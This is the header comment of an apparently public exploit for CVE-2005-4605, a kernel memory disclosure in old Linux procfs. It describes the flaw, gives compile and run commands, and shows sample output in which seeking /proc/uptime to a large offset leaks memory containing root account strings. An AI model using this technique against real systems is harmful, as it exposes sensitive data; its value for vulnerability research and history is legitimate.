 * Linux Kernel < 2.6.14.6 procfs Kernel Memory Disclosure
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 * 
 * Information:
 * 
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4605
 * 
 *   The procfs code (proc_misc.c) in Linux 2.6.14.3 and other versions before
 *   2.6.15 allows attackers to read sensitive kernel memory via unspecified 
 *   vectors in which a signed value is added to an unsigned value. 
 * 
 * Usage:
 *
 *   $ gcc cve-2005-4605.c -o cve-2005-4605
 *   $ ./cve-2005-4605
 *   [+] Opened /proc/uptime.
 *   [+] Seek to offset 4294963199.
 *   [+] Read 4096 bytes, dumping to stdout...
 *   ...
 *   ... 00 00 00 00 11 00 00 00  ................................
 *   ... 3a 30 3a 72 6f 6f 74 00  localhost.......root.x.0:0:root.
 *   ... 0d 00 00 00 dc 91 0f 08  /root./bin/bash.....@...........

 * Notes:

 *   This one is _ancient_, but str0ke requested it! ;-)
